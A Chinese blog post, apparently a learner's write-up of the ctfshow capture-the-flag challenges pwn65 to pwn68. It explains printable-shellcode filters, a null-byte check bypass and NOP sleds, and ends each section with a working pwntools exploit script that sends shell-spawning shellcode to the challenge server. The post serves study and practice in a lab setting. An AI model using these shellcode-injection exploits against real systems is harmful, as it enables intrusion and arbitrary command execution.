当前位置: 首页 > article >正文

ctfshow做题笔记—栈溢出—pwn65~pwn68

目录

前言

一、pwn65(你是一个好人)

二、pwn66(简单的shellcode?不对劲,十分得有十二分的不对劲)

三、pwn67(32bit nop sled)(确实不会)

四、pwn68(64bit nop sled)


前言

做起来比较吃力哈哈,自己还是太菜了,学了一些新的知识,记录一下。


一、pwn65(你是一个好人)

先checksec一下:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn65
[*] '/home/kali/桌面/ctfshoww/pwn65'Arch:       amd64-64-littleRELRO:      Full RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        PIE enabledStack:      ExecutableRWX:        Has RWX segments
Stripped:   No

真的感觉保护得好好的,还用了PIE,看一看代码吧。

main函数的看不了,只能瞅瞅汇编代码了。

映入眼帘的一个超大缓冲区用来存用户输入的shellcode。

.text:00000000000011BB                 cdqe
.text:00000000000011BD                 movzx   eax, [rbp+rax+buf]
.text:00000000000011C5                 cmp     al, 60h
.text:00000000000011C7                 jle     short loc_11DA
.text:00000000000011C9                 mov     eax, [rbp+var_4]
.text:00000000000011CC                 cdqe
.text:00000000000011CE                 movzx   eax, [rbp+rax+buf]
.text:00000000000011D6                 cmp     al, 7Ah
.text:00000000000011D8                 jle     short loc_1236

特别注意下面的类似的代码,cdqe 是一条指令,它的作用是将 32 位寄存器 EAX 的值扩展到 64 位寄存器 RAX 中。具体来说,它会将 EAX 的值符号扩展到 RAX,即保留 EAX 的符号位,并填充到 RAX 的高 32 位。

mov eax, [rbp+var_4]:将 var_4 的值加载到 EAX 中。

mov eax, [rbp+var_4]
cdqe
movzx eax, [rbp+rax+buf]

cdqe:将 EAX 的值符号扩展到 RAX,确保 RAX 是一个 64 位的地址。

movzx eax, [rbp+rax+buf]:将 buf 缓冲区中偏移为 RAX 的字节加载到 EAX 中,并将结果零扩展到 32 位。

另外:

检查读取结果

.text:000000000000119C                 cmp     [rbp+var_8], 0
.text:00000000000011A0                 jg      short loc_11AC
.text:00000000000011A2                 mov     eax, 0
.text:00000000000011A7                 jmp     locret_1254

如果读取的字节数大于 0,程序跳转到 loc_11AC 继续执行;否则直接返回。

.text:000000000000119C                 cmp     [rbp+var_8], 0
.text:00000000000011A0                 jg      short loc_11AC
.text:00000000000011A2                 mov     eax, 0
.text:00000000000011A7                 jmp     locret_1254

如果读取的字节数大于 0,程序跳转到 loc_11AC 继续执行;否则直接返回。

字符范围检查

检查当前字符 AL 是否在范围 0x60 - 0x7A(小写字母 a 到 z)内:

如果 AL <= 0x60,跳转到 loc_11DA。

如果 AL <= 0x7A,跳转到 loc_1236(继续检查下一个字符)。

如果当前字符不在范围 0x60 - 0x7A 内,检查是否在范围 0x40 - 0x5A(大写字母 @ 到 Z)内:

如果 AL <= 0x40,跳转到 loc_11FC。

如果 AL <= 0x5A,跳转到 loc_1236(继续检查下一个字符)。

如果当前字符不在范围 0x40 - 0x5A 内,检查是否在范围 0x2F - 0x5A(/ 到 Z)内:

如果 AL <= 0x2F,跳转到 loc_121E。

如果 AL <= 0x5A,跳转到 loc_1236(继续检查下一个字符)。

如果字符不在任何允许的范围内,程序会输出 "Good, but not right" 并退出。

这个就是大致流程,但是这个shellcode该怎么写呢,看了大佬的做法要使用 alpha3 工具生成只包含可打印字符的 Shellcode。alpha3 可以将原始 Shellcode 编码为只包含特定字符集的版本。结合载有deepseek r1-14b的星见雅的做法,试着写了一下。由于工具安装失败,所以就试了试可视的shellcode当然要用64位那个。

还有一个很特别的地方,就是发送shellcode时一般用的sendline最后会换行,当然’\n’不是范围内的字符,所以要用send。查了一些资料:

·send 函数:

主要用于将指定的数据发送到目标连接。

不会自动在发送的数据末尾添加换行符(\n)。

·sendline 函数:

在发送数据后,通常会在数据的末尾自动添加一个换行符(\n)。

这相当于执行 send(data + '\n')。

使用 send 的情况:

当你需要精确控制发送的数据内容,包括是否包含换行符时。

如果目标程序或服务需要特定的输入格式,不带自动换行。

使用 sendline 的情况:

当你需要发送完整的命令或字符串,并希望目标程序将其视为独立的输入。

特别是在与交互式shell或控制台程序通信时,通常需要换行符来分隔不同的输入。

Ok,来试一试吧:

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28212)
shellcode='Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
p.send(shellcode)
p.interactive()


二、pwn66(简单的shellcode?不对劲,十分得有十二分的不对劲)

这又是什么玩意,快被shellcode搞疯了。

先checksec:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn66
[*] '/home/kali/桌面/ctfshoww/pwn66'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX enabledPIE:        No PIE (0x400000)Stripped:   No

嘶,随便搞了一个64位的shellcode,显示error。

看看代码吧。

 buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);

之前遇到过。

特别的,有一段验证:

调用check(buf)函数对输入的内容进行验证。如果返回值为真,则表示检测到了潜在的安全威胁或无效数据。

如果触发条件,程序打印“ ERROR !”并退出。

那就来看看check:

signed __int64 __fastcall check(_BYTE *a1)
{const char *j; // [sp+18h] [bp-10h]@2_BYTE *i; // [sp+20h] [bp-8h]@1for ( i = a1; *i; ++i ){for ( j = "ZZJ loves shell_code,and here is a gift:\x0F\x05 enjoy it!\n"; *j && *j != *i; ++j );if ( !*j )return 0LL;}return 1LL;
}

总的来说就是需要一个以\00开头的shellcode,搜索了一下,\x00\xc0,先积累一下。

\x00B后面加上一个字符,对应一个汇编语句。我们可以通过\x00B\x22、\x00B\x00 、\x00J\x00等来绕过检查。

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28180)
shellcode=asm(shellcraft.sh())
che=b'\x00B\x22'
payload=che+shellcode
p.sendline(payload)
p.interactive()

 或者:

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28180)
shellcode=asm(shellcraft.sh())
che=b'\x00\xc0'
payload=che+shellcode
p.sendline(payload)
p.interactive()


三、pwn67(32bit nop sled)(确实不会)

这是什么东东,不是很懂,又要学习新知识了。

Checksec知是32位程序,而且开了Canary。

发现这么一串然后就退出:

Please wait while loading.............Done
Receiving signal.Signal 0...Done
Signal 1.Done
Signal 2..DoneThe load is complete.
Warning: The signal is weakWe need to load the ctfshow_flag.
The current location: 0xffaea4b2
What will you do?
> cat ctfshow_flag
Where do you start?
> 0xffaea4b2┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ 

给了一个正确地址,可能需要进行填充覆盖到这个地址 。

拖进ida看看吧。

又不许看c代码。。。。。。

上网搜索说需要运用NOP Sled(滑坡)来解决栈地址随机化导致很难知道shellcode的内存地址。

知识:

NOP Sled(也称为 NOP Slide 或 NOP Ramp)是一种在计算机安全领域中用于缓冲区溢出攻击的技术。它通过在攻击代码(shellcode)之前插入大量 NOP(No Operation,无操作)指令来增加攻击的成功率。

工作原理:

1.NOP 指令:NOP 是一条不执行任何操作的指令,其在 x86 架构中的机器码为 \x90。当 CPU 执行 NOP 指令时,程序计数器(PC 或 EIP)会简单地递增,跳转到下一条指令。

2.缓冲区溢出攻击:在缓冲区溢出攻击中,攻击者通常需要将程序的执行流(EIP)指向攻击代码(shellcode)。然而,由于栈随机化(ASLR)的存在,攻击者很难精确知道 shellcode 的内存地址。

NOP Sled 的作用:为了应对这一问题,攻击者会在 shellcode 之前插入大量 NOP 指令,形成一个“滑坡”(sled)。只要 EIP 落在这个 NOP 区域的任意位置,执行流就会沿着 NOP 指令“滑动”,直到到达 shellcode 的起始位置并执行。

优势:

提高攻击成功率:通过增加一个较大的 NOP 区域,攻击者不需要精确控制 EIP 的值,只需让 EIP 落在 NOP Sled 的范围内即可。

对抗栈随机化:即使栈的起始地址是随机的,NOP Sled 也能显著增加攻击代码被成功执行的概率。

首先这道题并没有开启NX,我们任然可以注入shellcode,但是我们拟在 var_1010 中写入shellcode的地址并执行,因为程序最后读取了一个地址然后执行,这里可以执行shellcode,但是shellcode的参数写在哪里呢,似乎seed是个不错的选则,但是seed的准确地址我们无从得知,所以这个滑坡可以起到很大的作用,

.text:080489E2                 lea     eax, [ebp+seed]
.text:080489E8                 push    eax             ; s
.text:080489E9                 call    _fgets

然而通过提前链接靶机知道会泄露一个地址:

char *query_position()
{int v0; // eax@1char *result; // eax@1char v2; // [sp+3h] [bp-15h]@1int v3; // [sp+4h] [bp-14h]@1char *v4; // [sp+8h] [bp-10h]@1int v5; // [sp+Ch] [bp-Ch]@1_x86_get_pc_thunk_ax();v5 = *MK_FP(__GS__, 20);v0 = rand();v3 = v0 % 1337 - 668;v4 = &v2 + v3;result = &v2 + v3;if ( *MK_FP(__GS__, 20) != v5 )_stack_chk_fail_local();return result;
}

 result = &v2 + v3;就是泄露的地址

当然v2在栈上,所以我们可以通过v2的真实地址计算出seed的地址,这个过程还是太吃操作,看了好久好才有所感悟(有没有及不吃操作又能做对的英雄可以推荐一下),在x86汇编中,ebp通常被用作基址指针,用于访问局部变量和函数参数。每当进入一个函数时,函数会将 ebp 保存起来,并建立新的 ebp 指针指向当前栈帧的顶部。当函数返回时,原来的 ebp 被恢复。V3是一个定值,就是v2的地址到seed的距离。因为有一个随机数处理,所以query_position()最后输出并打印的结果是position=&v2+v3=&v2+random-668(random∈(0,1336))

所以我们只要把seed填到把打印出的position所有可能出现的区间用nop sled填满,这样就一定可以滑到shellcode.

我们先用pwngdb调试一下,便携版内容不太全,结合ida

char v2; // [sp+3h] [bp-15h]@1

在运行到断点pwndbg> break query_position

Breakpoint 1 at 0x80487d5之后用

pwndbg> p $ebp - 0x15

$2 = (void *) 0xffffbe13

我们找到了v2(汗流浃背了已经),接下来是seed,实在不会了,直接照着大佬做吧。

最后算出来是0x2d

pwndbg> info registers ebp
ebp            0xffffbe28          0xffffbe28
01:0004│ ebp 0xffffbe28 —▸ 0xffffce48 ◂— 0

嘶,实在有点无能为力了0xffffce48 - 0xffffbe28 = 0x1039c(即 66,252 字节)

这里nop在 [v1,v1 +1336] 范围内我们都可以执行到 nop,然后滑向 shellcode

from pwn import *
context(arch="i386",log_level="debug")
p=remote("pwn.challenge.ctf.show",28136)
p.recvuntil("current location: ")
ar=eval(p.recvuntil("\n",drop=True))
print(hex(ar))
shellcode=asm(shellcraft.sh())
payload=b'\x90'*1336+shellcode
p.recvuntil(">")
p.sendline(payload)
shellar=ar+0x2d+668
p.recvuntil(">")
p.sendline(hex(shellar))#hex将后面转化为16进制地址
p.interactive()

确实还是能打出来,不过关于计算确实不太会。


四、pwn68(64bit nop sled)

今天继续往前做,64位nop seld,一样的开了金丝雀。

拖进ida看一看。

嘿,这次可以看main函数的c语言代码了。

int __cdecl main(int argc, const char **argv, const char **envp)
{FILE *v3; // rdi@1__int64 v4; // rax@1int result; // eax@1__int64 v6; // rcx@1void (*v7)(void); // [sp+8h] [bp-1018h]@1unsigned int seed; // [sp+10h] [bp-1010h]@1__int64 v9; // [sp+1018h] [bp-8h]@1v9 = *MK_FP(__FS__, 40LL);v3 = stdout;setbuf(stdout, 0LL);logo(v3, 0LL);srand((unsigned __int64)&seed);Loading();acquire_satellites();LODWORD(v4) = query_position();printf("We need to load the ctfshow_flag.\nThe current location: %p\n", v4);printf("What will you do?\n> ");fgets((char *)&seed, 4096, stdin);printf("Where do you start?\n> ", 4096LL);__isoc99_scanf("%p", &v7);v7();result = 0;v6 = *MK_FP(__FS__, 40LL) ^ v9;return result;
}

还是用v7来读入shellcode的地址,用seed来写入shellcode,c代码里可以直观的看到。

 __isoc99_scanf("%p", &v7);

  v7();

所以需要找到seed与v7之间的偏移量。

char *query_position()
{int v0; // eax@1char *result; // rax@1__int64 v2; // rsi@1char v3; // [sp+Bh] [bp-15h]@1int v4; // [sp+Ch] [bp-14h]@1char *v5; // [sp+10h] [bp-10h]@1__int64 v6; // [sp+18h] [bp-8h]@1v6 = *MK_FP(__FS__, 40LL);v0 = rand();v4 = v0 % 1337 - 668;v5 = &v3 + v4;result = &v3 + v4;v2 = *MK_FP(__FS__, 40LL) ^ v6;return result;
}

这个函数输出了一个类似地址的东西,v5 = &v3 + v4;所以v3也是我们要利用的,v4应该是常量。

关键信息:

char v3; // [sp+Bh] [bp-15h]@1
v4 = v0 % 1337 - 668;

我们pwndbg调试一下:
先在query_position处下一个断点

break query_positionpwndbg> info registers rbp
rbp            0x7fffffffcc10      0x7fffffffcc10
continue
pwndbg>  info registers rbp
rbp            0x7fffffffdc40      0x7fffffffdc40

上面就是rbp的变化,这次就跟着大佬的节奏试着画一个栈布局的图吧。

0000000000400A6D                 sub     rsp, 1020h

根据这个可以知道[main]rsp =[main]rbp-0x1020=[main]rbp-0x1020

可以双击进入v7和seed看一看偏移地址:

-0000000000001018 var_1018        dq ?
-0000000000001010 seed            dd ?

试着用表格搞了一个栈分布,准确地址不太会算。

然后rbp开始变化:

再更新一下栈图(有不对的地方,毕竟才学):

大概是这个样子,不太会画。

这样比上一道题做起来清晰一点了,虽然有很多错误。

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28302)
p.recvuntil(b'location: ')
ar=eval(p.recvuntil("\n",drop=True))
print(hex(ar))
shellcode=asm(shellcraft.sh())
payload=b'\x90'*0x260+shellcode#0x260随便找一个比0x25C大的
p.sendline(payload)
p.sendline(hex(ar+688))
p.interactive()

试了两个nop还是汗流浃背打出来了。


还有很多不懂的地方,继续学习中......

相关文章:

ctfshow做题笔记—栈溢出—pwn65~pwn68

目录 前言 一、pwn65(你是一个好人) 二、pwn66(简单的shellcode&#xff1f;不对劲&#xff0c;十分得有十二分的不对劲) 三、pwn67(32bit nop sled)&#xff08;确实不会&#xff09; 四、pwn68(64bit nop sled) 前言 做起来比较吃力哈哈&#xff0c;自己还是太菜了&…...

高效处理 List<T> 集合:更新、查找与优化技巧

引言 在日常开发中,List<T> 是我们最常用的数据结构之一。无论是批量更新数据、查找特定项还是进行复杂的集合操作,掌握 List<T> 的高级用法可以显著提高代码的效率和可读性。本文将详细介绍如何使用 List<T> 进行批量更新、查找匹配项以及优化性能的方法…...

Java基础系列:深入解析final与static关键字的奥秘与避坑指南

目录 一、final关键字的四重境界 1. 修饰常量&#xff08;成员变量/局部变量&#xff09; 2. 修饰方法&#xff08;禁止重写&#xff09; 3. 修饰类&#xff08;禁止继承&#xff09; 4. 并发控制&#xff08;内存屏障&#xff09; 二、static关键字的四维空间 1. 静态变…...

django各种mixin用法

在 Django 中,Mixin 是一种用于扩展类功能的设计模式。通过 Mixin,可以在不修改原有类的情况下,为其添加新的方法或属性。Django 中的 Mixin 广泛应用于视图(View)、表单(Form)、模型(Model)等组件中。以下是 Django 中常见 Mixin 的用法和示例: 一、视图(View)中的…...

JS中的闭包(closures)一种强大但易混淆的概念

JavaScript 中的闭包&#xff08;closures&#xff09;被认为是一种既强大又易混淆的概念。闭包允许函数访问其外部作用域的变量&#xff0c;即使外部函数已执行完毕&#xff0c;这在状态维护和回调函数中非常有用。但其复杂性可能导致开发者的误解&#xff0c;尤其在变量捕获和…...

Element使用

Element(美化网页&#xff09; ElementUI的使用注意事项&#xff1a; Element.ui的使用基于Vue环境&#xff0c;于是Element相关组件的使用必须放在Vue对象绑定的视图中去 ElementUI的JS库的引入必须放在vue.js库的后面 <!-- 引入样式 --><link rel"styleshee…...

基于YOLO11深度学习的电瓶车进电梯检测与语音提示系统【python源码+Pyqt5界面+数据集+训练代码】

《------往期经典推荐------》 一、AI应用软件开发实战专栏【链接】 项目名称项目名称1.【人脸识别与管理系统开发】2.【车牌识别与自动收费管理系统开发】3.【手势识别系统开发】4.【人脸面部活体检测系统开发】5.【图片风格快速迁移软件开发】6.【人脸表表情识别系统】7.【…...

R语言的基础命令及实例操作

> T & F [1] FALSE > T & T [1] TRUE > T | F [1] TRUE > F | F [1] FALSE > a <- c(T,F,T) > b <- c(F,F,T) > a & b [1] FALSE FALSE TRUE > a | b [1] TRUE FALSE TRUE 在 R 中&#xff0c;大小写是敏感的&#xff0c;也就是说…...

AI视频生成工具清单(附网址与免费说明)

以下是一份详细的AI视频制作网站总结清单&#xff0c;包含免费/付费信息及核心功能说明&#xff1a; AI视频生成工具清单&#xff08;附网址与免费说明&#xff09; 1. Synthesia 网址&#xff1a;https://www.synthesia.io是否免费&#xff1a;免费试用&#xff08;生成视频…...

知识蒸馏综述Knowledge Distillation: A Survey解读

论文链接&#xff1a;Knowledge Distillation: A Survey 摘要&#xff1a;近年来&#xff0c;深度神经网络在工业界和学术界都取得了成功&#xff0c;尤其是在计算机视觉任务方面。深度学习的巨大成功主要归功于它能够扩展以对大规模数据进行编码&#xff0c;并且能够处理数十…...

第十五届蓝桥杯省赛电子类单片机学习过程记录(客观题)

客观试题: 01.典型的BUCK电源电路包含哪些关键器件(ABCD) A. 电容 B. 二极管 C. 电感 D. MOSFET 解析: 典型的 BUCK 电源电路是一种降压型的直流-直流转换电路,它包含以下关键器件: A.电容:电容在电路中起到滤波的作用。输入电容用于平滑输入电压的波动,减少电源噪声对…...

【C++】:STL详解 —— 红黑树封装map和set

目录 红黑树的源代码 正向迭代器的代码 反向迭代器的代码 set的模拟实现 map的模拟实现 红黑树的源代码 #pragma once #include <iostream>using namespace std; // set ->key // map ->key/value// set ->key // map ->key/valueenum Colour {RED,BLAC…...

【QWEN】机器人控制器的控制周期越短精度越高吗

好的&#xff0c;用户问的是“机器人控制器的控制周期越短精度越高吗”。我需要根据提供的知识库内容来回答这个问题。首先&#xff0c;我得回忆一下知识库里的相关信息。 知识库里有几篇相关的文章。比如&#xff0c;[3]提到控制周期越短&#xff0c;控制性能的上限越高&…...

使用数据库和缓存的时候,是如何解决数据不一致的问题的?

1.缓存更新策略 1.1. 缓存旁路模式&#xff08;Cache Aside&#xff09; 在应用里负责管理缓存&#xff0c;读取时先查缓存&#xff0c;如果命中了则返回缓存&#xff0c;如果未命中就查询数据库&#xff0c;然后返回缓存&#xff0c;返回缓存的同时把数据给写入缓存中。更新…...

【c++】平移字符串

说明 实现字符串的左移与右移 示例代码 #include <iostream> #include <string> using namespace std;int main() {string str1 "12345";//左移2位string str2 str1.substr(2) str1.substr(0, 2);cout << str2 << endl;//右移2位&…...

基于Spring Boot的多级缓存架构实现

基于Spring Boot的多级缓存架构实现 以下是一个基于Spring Boot的多级缓存架构实现示例 多级缓存架构实现方案 1. 依赖配置&#xff08;pom.xml&#xff09; <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-star…...

为什么DDPG需要目标网络而A2C不需要?

在强化学习中&#xff0c;DDPG需要目标网络而A2C不需要的主要原因在于算法架构、更新方式和目标稳定性需求的差异&#xff1a; Q值估计的稳定性需求不同 DDPG的Critic网络需要估计状态-动作值函数 Q ( s , a ) Q(s,a) Q(s,a)&#xff0c;其目标值的计算涉及下一个状态的最大Q值…...

蓝桥杯 C++ b组 统计子矩阵深度解析

题目大意&#xff1a;给定一个 NM 的矩阵 A&#xff0c;请你统计有多少个子矩阵 (最小11&#xff0c;最大NM) 满足子矩阵中所有数的和不超过给定的整数 K&#xff1f; 前言&#xff1a;这题很容易想到二维前缀和优化&#xff0c;然后枚举子矩阵&#xff0c;但这样时间复杂度为…...

YOLOv12本地部署教程——42%速度提升,让高效目标检测触手可及

YOLOv12 是“你只看一次”&#xff08;You Only Look Once, YOLO&#xff09;系列的最新版本&#xff0c;于 2025 年 2 月发布。它引入了注意力机制&#xff0c;提升了检测精度&#xff0c;同时保持了高效的实时性能。在保持速度的同时&#xff0c;显著提升了检测精度。例如&am…...

每天五分钟深度学习PyTorch:向更深的卷积神经网络挑战的ResNet

本文重点 ResNet大名鼎鼎,它是由何恺明团队设计的,它获取了2015年ImageNet冠军,它很好的解决了当神经网络层数过多出现的难以训练的问题,它创造性的设计了跳跃连接的方式,使得卷积神经网络的层数出现了大幅度提升,设置可以达到上千层,可以说resnet对于网络模型的设计具…...

C++11新特性 11.基于范围的for循环

一.简介 基本概念&#xff1a; 在 C 中&#xff0c;基于范围的 for 循环&#xff08;Range-based for loop&#xff09;是一种简化容器遍历的语法糖&#xff0c;适用于所有支持 begin() 和 end() 的容器&#xff08;如 vector、map、array 等&#xff09;。以下是其核心用法和…...

Linux搜索---locate

locate locate 是 Linux 系统中用于快速查找文件和目录的命令。它并非实时遍历文件系统&#xff0c;而是通过搜索预先建立的文件数据库来定位文件。该数据库由 updatedb 程序定期&#xff08;通常是每天&#xff09;更新&#xff0c;收录了系统中所有文件的路径信息&#xff0…...

c语言笔记 一维数组与二维数组

1.一维数组和二维数组名加1代表什么意思&#xff0c;偏移多少单位&#xff1f; 方法&#xff1a;1就是以数组的元素类型的字节为单位去偏移。 先看结论再代码验证&#xff1a; 一维数组名&#xff0b;1表示加一个整型单位的偏移量&#xff0c;也可以这么理解1就是以数组的元…...

认识Event Loop【1】

前言 这应该是一个系列文章&#xff0c;因为我觉得Event Loop&#xff08;事件循环&#xff09;是一件很抽象也很重要的一个机制。eventloop这个知识点处于非常杂糅的位置&#xff0c;和很多其他知识&#xff0c;如运行时、浏览器、渲染流程、数据结构、线程等等&#xff0c;也…...

《Linux栈破坏了,如何还原》

【栈破坏导读】栈破坏有了解过吗&#xff1f;何为栈破坏&#xff0c;栈破坏了&#xff0c;程序会立刻引发崩溃&#xff0c;我们通过gdb去调试coredump&#xff0c;栈被破坏的栈帧是没法被恢复的&#xff0c;这也给我们调试程序带来很大的困难&#xff0c;那如何还原栈破坏的第一…...

环形链表问题的探究与代码实现

在数据结构与算法的学习中&#xff0c;环形链表是一个经典的问题。它不仅考察对链表这种数据结构的理解&#xff0c;还涉及到指针操作和逻辑推理。本文将结合代码和图文&#xff0c;深入分析如何判断链表中是否有环以及如何找到环的入口点。 目录 一、判断链表中是否有环 …...

【CSS3】筑基篇

目录 复合选择器后代选择器子选择器并集选择器交集选择器伪类选择器 CSS 三大特性继承性层叠性优先级 背景属性背景色背景图背景图平铺方式背景图位置背景图缩放背景图固定背景复合属性 显示模式显示模式块级元素行内元素行内块元素 转换显示模式 结构伪类选择器结构伪类选择器…...

React:类组件(上)

kerwin老师我来了 类组件的创建 class组件&#xff0c;js里的类命名首字符大写&#xff0c;类里面包括构造函数&#xff0c;方法 组件类要继承React.Component才有效 必须包含render方法 import React from react class App extends React.Component{render() {return <…...

开启mysql远程登录

目录 前言开启步骤 前言 为了安全考虑&#xff0c;mysql默认不允许远程登录&#xff0c;需要我们自己开启。当然在远程登录之前mysql的端口也要开放。下面是mysql开启远程登录的步骤。 开启步骤 本地登录mysql mysql -u root -p然后输入登录密码 给登录账号授权 GRANT AL…...

Eclipse 查看 JAVA SE 23 官方API 源代码

第一步&#xff1a;下载 JAVA SE 23 官方API 源代码 JavaSE23API源代码资源-CSDN文库 &#xff08;或者到open jdk网站JDK Builds from Oracle:&#xff09;下载https://download.java.net/java/GA/jdk23.0.2/6da2a6609d6e406f85c491fcb119101b/7/GPL/openjdk-23.0.2_windows-…...